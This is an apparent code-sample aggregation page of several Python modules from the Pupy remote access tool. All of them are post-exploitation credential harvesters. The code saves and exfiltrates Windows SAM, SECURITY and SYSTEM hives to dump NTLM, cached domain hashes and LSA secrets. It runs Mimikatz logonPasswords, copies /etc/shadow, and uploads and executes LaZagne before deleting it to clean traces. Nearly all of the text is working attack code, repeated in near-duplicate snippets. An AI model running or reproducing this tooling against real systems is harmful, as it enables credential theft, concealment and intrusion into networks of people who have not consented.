                clean_creds = []
                for pwd in pwd_found:
                    self.success('%s' % pwd['name'])
                    self.success('URL: %s' % pwd['url'])
                    self.success('%s/%s' % (pwd['username'], pwd['password']))

                    clean_cred = {}
                    clean_cred['Category'] = '%s' % pwd['name']
                    clean_cred['CredType'] = 'plaintext'
                    clean_cred['URL'] = pwd['url']
                    clean_cred['Login'] = pwd['username']
                    clean_cred['Password'] = pwd['password']
                    clean_creds.append(clean_cred)

                    print

                try:
                    db.add(clean_creds)
                    self.success("Passwords stored on the database")
                except Exception, e:
                    print e
            else:
                self.warning('passwords not found')
Exemplo n.º 30
0
    def windows(self):
        # First, we download the hives...

        #detect windows version
        is_vista=False
        try:
            if self.client.conn.modules['sys'].getwindowsversion()[0] >=6:
                is_vista=True
                self.info("windows > vista detected")
            else:
                self.info("windows < vista detected")
        except:
            self.warning("windows version couldn't be determined. supposing vista=False")

        self.success("saving SYSTEM hives in %TEMP%...")
        cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM")
        if is_vista:
            cmds = ( x+' /y' for x in cmds )

        for cmd in cmds:
            self.info("running %s..." % cmd)
            self.log(shell_exec(self.client, cmd))
        self.success("hives saved!")
        remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")

        self.info("downloading SYSTEM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM"))

        self.info("downloading SECURITY hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY"))

        self.info("downloading SAM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM"))

        self.success("hives downloaded to %s" % self.rep)

        # Cleanup
        self.success("cleaning up saves...")
        try:
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SYSTEM"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SECURITY"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM"))
            self.success("saves deleted")
        except Exception as e:
            self.warning("error deleting temporary files: %s"%str(e))

        # Time to run creddump!
        db = Credentials()
        hashes = []

        # HiveFileAddressSpace - Volatilty
        sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM"))
        secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY"))
        samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM"))

        # Print the results
        self.success("dumping cached domain passwords...")

        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):
            self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'),
                d.lower(), dn.lower()))
            hashes.append({'Login': u.lower(), 'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()), 'Category': 'MSCACHE hash', 'CredType': 'hash', 'uid':self.client.short_name()})

        self.success("dumping LM and NT hashes...")
        bootkey = get_bootkey(sysaddr)
        hbootkey = get_hbootkey(samaddr,bootkey)
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user,hbootkey)
            if not lmhash: lmhash = empty_lm
            if not nthash: nthash = empty_nt
            self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
            hashes.append({'Login': get_user_name(user), 'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')), 'Category': 'NTLM hash', 'CredType': 'hash', 'uid':self.client.short_name()})

        db.add(hashes)
        self.success("Hashes stored on the database")

        self.success("dumping lsa secrets...")
        secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista)
        if not secrets:
            self.error("unable to read LSA secrets, perhaps the hives are corrupted")
            return
        for key in secrets:
            self.log(key)
            self.log(self.dump(secrets[key], length=16))

        # The End! (hurrah)
        self.success("dump was successfull!")
Exemplo n.º 31
0
    def run(self, args):

        proc_arch = self.client.desc["proc_arch"]
        mimikatz_path = None
        output = ''

        if '64' in self.client.desc['os_arch'] and "32" in proc_arch:
            self.error(
                "You are in a x86 process right now. You have to be in a x64 process for running Mimikatz."
            )
            self.error(
                "Otherwise, the following Mimikatz error will occur after 'sekurlsa::logonPasswords':"
            )
            self.error(
                "'ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process'"
            )
            self.error("Mimikatz has not been executed on the target")
            return

        # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz.
        if args.wdigest:
            ok, message = self.client.conn.modules[
                "pupwinutils.wdigest"].wdigest(args.wdigest)
            if ok:
                self.success(message)
            else:
                self.warning(str(message))
            return

        if "64" in proc_arch:
            mimikatz_path = self.client.pupsrv.config.get(
                "mimikatz", "exe_x64")
        else:
            mimikatz_path = self.client.pupsrv.config.get(
                "mimikatz", "exe_Win32")

        if not os.path.isfile(mimikatz_path):
            self.error(
                "Mimikatz exe %s not found ! please edit Mimikatz section in pupy.conf"
                % mimikatz_path)
            return

        mimikatz_args = args.args

        if not mimikatz_args:
            mimikatz_args = ['privilege::debug', 'sekurlsa::logonPasswords']

        mimikatz_args.append('exit')

        if args.verbose:
            self.log('Execute: ' + repr(mimikatz_args))

        output = exec_pe(self,
                         mimikatz_args,
                         path=mimikatz_path,
                         interactive=False)
        if not output:
            self.warning('No output')
            return

        if args.verbose:
            self.log(output)

        creds = self.parse_mimikatz(output)
        if not creds:
            self.warning('No credentials found')
            return

        try:
            # store credentials into the database
            db = Credentials(client=self.client, config=self.config)
            db.add(creds)
            self.log(Table(creds, ['domain', 'login', 'hash', 'password']))
            self.success("Credentials stored on the database")
        except:
            self.error('No credentials stored in the database')
Exemplo n.º 32
0
    def windows(self):
        # First, we download the hives...

        #detect windows version
        is_vista = False
        try:
            if self.client.conn.modules['sys'].getwindowsversion()[0] >= 6:
                is_vista = True
                self.info("windows > vista detected")
            else:
                self.info("windows < vista detected")
        except:
            self.warning(
                "windows version couldn't be determined. supposing vista=False"
            )

        self.success("saving SYSTEM hives in %TEMP%...")
        cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM",
                "reg save HKLM\\SECURITY %TEMP%/SECURITY",
                "reg save HKLM\\SAM %TEMP%/SAM")
        if is_vista:
            cmds = (x + ' /y' for x in cmds)

        for cmd in cmds:
            self.info("running %s..." % cmd)
            self.log(shell_exec(self.client, cmd))
        self.success("hives saved!")
        remote_temp = self.client.conn.modules['os.path'].expandvars("%TEMP%")

        self.info("downloading SYSTEM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"),
                 os.path.join(self.rep, "SYSTEM"))

        self.info("downloading SECURITY hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SECURITY"),
                 os.path.join(self.rep, "SECURITY"))

        self.info("downloading SAM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SAM"),
                 os.path.join(self.rep, "SAM"))

        self.success("hives downloaded to %s" % self.rep)

        # Cleanup
        self.success("cleaning up saves...")
        try:
            self.client.conn.modules.os.remove(
                ntpath.join(remote_temp, "SYSTEM"))
            self.client.conn.modules.os.remove(
                ntpath.join(remote_temp, "SECURITY"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM"))
            self.success("saves deleted")
        except Exception as e:
            self.warning("error deleting temporary files: %s" % str(e))

        # Time to run creddump!
        db = Credentials()
        hashes = []

        # HiveFileAddressSpace - Volatilty
        sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM"))
        secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY"))
        samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM"))

        # Print the results
        self.success("dumping cached domain passwords...")

        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):
            self.log("%s:%s:%s:%s" %
                     (u.lower(), h.encode('hex'), d.lower(), dn.lower()))
            hashes.append({
                'Login':
                u.lower(),
                'Hash':
                "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()),
                'Category':
                'MSCACHE hash',
                'CredType':
                'hash',
                'uid':
                self.client.short_name()
            })

        self.success("dumping LM and NT hashes...")
        bootkey = get_bootkey(sysaddr)
        hbootkey = get_hbootkey(samaddr, bootkey)
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user, hbootkey)
            if not lmhash: lmhash = empty_lm
            if not nthash: nthash = empty_nt
            self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(
                user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
            hashes.append({
                'Login':
                get_user_name(user),
                'Hash':
                "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')),
                'Category':
                'NTLM hash',
                'CredType':
                'hash',
                'uid':
                self.client.short_name()
            })

        db.add(hashes)
        self.success("Hashes stored on the database")

        self.success("dumping lsa secrets...")
        secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"),
                                   os.path.join(self.rep, "SECURITY"),
                                   is_vista)
        if not secrets:
            self.error(
                "unable to read LSA secrets, perhaps the hives are corrupted")
            return
        for key in secrets:
            self.log(key)
            self.log(self.dump(secrets[key], length=16))

        # The End! (hurrah)
        self.success("dump was successfull!")
Exemplo n.º 33
0
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!', '*', 'x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(self.client.conn, '/etc/passwd', passwd)

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(self.client.conn, '/etc/shadow', shadow)

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        self.client.load_package('pupyutils.safepopen')
        sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in sopen(['getent', 'passwd']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(
                type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in sopen(['getent', 'shadow']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(
                type(e), e.message))

        db = Credentials()
        db.add([{
            'Hash': ':'.join(hsh.split(':')[1:]),
            'Login': hsh.split(':')[0],
            'Category': 'Shadow hash',
            'uid': self.client.short_name(),
            'CredType': 'hash'
        } for hsh in hashes])

        for hsh in hashes:
            self.log('{}'.format(hsh))
Exemplo n.º 34
0
class CredDump(PupyModule):
    """ download the hives from a remote windows system and dump creds """

    def init_argparse(self):
        self.arg_parser = PupyArgumentParser(prog='hive', description=self.__doc__)

    def run(self, args):
        config = self.client.pupsrv.config or PupyConfig()
        self.db = Credentials(client=self.client.short_name(), config=self.config)
        self.rep = os.path.join(config.get_folder('creds'), self.client.short_name())

        try:
            os.makedirs(self.rep)
        except Exception:
            pass

        if self.client.is_windows():
            self.windows()
        elif self.client.is_linux():
            self.linux()
        elif self.client.is_darwin():
            self.darwin()

    def darwin(self):
        self.client.load_package("hashdump")
        hashes = self.client.conn.modules["hashdump"].hashdump()
        if hashes:
            self.db.add([{
                'Hash':hsh[1],
                'Login': hsh[0],
                'Category': 'System hash',
                'CredType': 'hash'
            } for hsh in hashes ])

            for hsh in hashes:
                self.log('{}'.format(hsh))

            self.success("Hashes stored on the database")
        else:
            self.error('no hashes found')

    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!','*','x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(
                self.client.conn,
                '/etc/passwd',
                passwd
            )

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(
                self.client.conn,
                '/etc/shadow',
                shadow
            )

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        rsubprocess = self.client.conn.modules.subprocess

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in rsubprocess.check_output('getent passwd', shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    passwd.write(line+'\n')

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in rsubprocess.check_output('getent shadow', shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    shadow.write(line+'\n')

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(type(e), e.message))

        self.db.add([{
            'Hash':':'.join(hsh.split(':')[1:]),
            'Login': hsh.split(':')[0],
            'Category': 'Shadow hash',
            'CredType': 'hash'
            } for hsh in hashes
        ])

        for hsh in hashes:
            self.log('{}'.format(hsh))

        self.success("Hashes stored on the database")

    def windows(self):
        # First, we download the hives...

        #detect windows version
        is_vista=False
        try:
            if self.client.conn.modules['sys'].getwindowsversion()[0] >=6:
                is_vista=True
                self.info("windows > vista detected")
            else:
                self.info("windows < vista detected")
        except:
            self.warning("windows version couldn't be determined. supposing vista=False")

        self.success("saving SYSTEM hives in %TEMP%...")
        cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM", "reg save HKLM\\SECURITY %TEMP%/SECURITY", "reg save HKLM\\SAM %TEMP%/SAM")
        if is_vista:
            cmds = ( x+' /y' for x in cmds )

        for cmd in cmds:
            self.info("running %s..." % cmd)
            self.log(shell_exec(self.client, cmd))
        self.success("hives saved!")
        remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")

        self.info("downloading SYSTEM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"), os.path.join(self.rep, "SYSTEM"))

        self.info("downloading SECURITY hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SECURITY"), os.path.join(self.rep, "SECURITY"))

        self.info("downloading SAM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SAM"), os.path.join(self.rep, "SAM"))

        self.success("hives downloaded to %s" % self.rep)

        # Cleanup
        self.success("cleaning up saves...")
        try:
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SYSTEM"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SECURITY"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM"))
            self.success("saves deleted")
        except Exception as e:
            self.warning("error deleting temporary files: %s"%str(e))

        # Time to run creddump!
        hashes = []

        # HiveFileAddressSpace - Volatilty
        sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM"))
        secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY"))
        samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM"))

        # Print the results
        self.success("dumping cached domain passwords...")

        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):
            self.log("%s:%s:%s:%s" % (u.lower(), h.encode('hex'),
                d.lower(), dn.lower()))
            hashes.append({
                'Login': u.lower(),
                'Hash': "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()),
                'Category': 'MSCACHE hash',
                'CredType': 'hash'
            })

        self.success("dumping LM and NT hashes...")
        bootkey = get_bootkey(sysaddr)
        hbootkey = get_hbootkey(samaddr,bootkey)
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user,hbootkey)
            if not lmhash: lmhash = empty_lm
            if not nthash: nthash = empty_nt
            self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
            hashes.append({
                'Login': get_user_name(user),
                'Hash': "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')),
                'Category': 'NTLM hash',
                'CredType': 'hash'
            })

        self.db.add(hashes)
        self.success("Hashes stored on the database")

        self.success("dumping lsa secrets...")
        secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"), os.path.join(self.rep, "SECURITY"), is_vista)
        if not secrets:
            self.error("unable to read LSA secrets, perhaps the hives are corrupted")
            return
        for key in secrets:
            self.log(key)
            self.log(self.dump(secrets[key], length=16))

        # The End! (hurrah)
        self.success("dump was successfull!")

    def dump(self, src, length=8):
        FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
        N=0; result=''
        while src:
           s,src = src[:length],src[length:]
           hexa = ' '.join(["%02X"%ord(x) for x in s])
           s = s.translate(FILTER)
           result += "%04X   %-*s   %s\n" % (N, length*3, hexa, s)
           N+=length
        return result
Exemplo n.º 35
0
    def run(self, args):
        platform=self.client.desc["platform"]
        if "Windows" in platform:
            if "64" in self.client.desc["proc_arch"]:
                self.error('Not yet implemented for a x64 bits process, migrate to a 32 bits process and try again ! \nEx: run migrate -c \'C:\\Windows\\SysWOW64\\notepad.exe\'')
                return

            # load all dependency
            self.client.load_dll(os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "packages", "windows", "x86", "sqlite3.dll")))
            self.client.load_package("sqlite3")
            self.client.load_package("_sqlite3")
            self.client.load_package("xml")
            self.client.load_package("_elementtree")
            self.client.load_package("pyexpat")         # needed for _elementtree module
            self.client.load_package("win32crypt")
            self.client.load_package("win32api")
            self.client.load_package("win32con")
            self.client.load_package("win32cred")
            self.client.load_package("colorama")
            self.client.load_package("impacket")
            self.client.load_package("calendar")
            self.client.load_package("win32security")
            self.client.load_package("win32net")
            self.client.load_package("lazagne")

            db = Credentials()

            moduleNames = self.client.conn.modules["lazagne.config.manageModules"].get_modules()
            for module in moduleNames:
                if args.verbose:
                    self.info("running module %s"%(str(module).split(' ',1)[0].strip('<')))
                passwords = module.run(module.options['dest'].capitalize())
                self.print_results(module.options['dest'].capitalize(), passwords, db)
            
        elif "Linux" in platform:
            isWindows = False
            if "64" in self.client.desc["os_arch"]:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
            else:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
        
            if not os.path.isfile(lazagne_path):
                self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
                self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
                return
            
            tf = tempfile.NamedTemporaryFile()
            dst = tf.name
            tf.file.close()

            self.success("Uploading laZagne to: %s" % dst)
            upload(self.client.conn, lazagne_path, dst)
            
            self.success("Adding execution permission")
            cmd = ["chmod", "+x", dst]
            output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

            self.success("Executing")
            cmd = [dst, "all"]
            output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
            self.success("%s" % output)
            
            creds = self.parse_output(output)
            db = Credentials()
            db.add(creds)
            self.success("Passwords stored on the database")
            
            self.success("Cleaning traces")
            self.client.conn.modules['os'].remove(dst)

        else:
            self.error("Platform not supported")
            return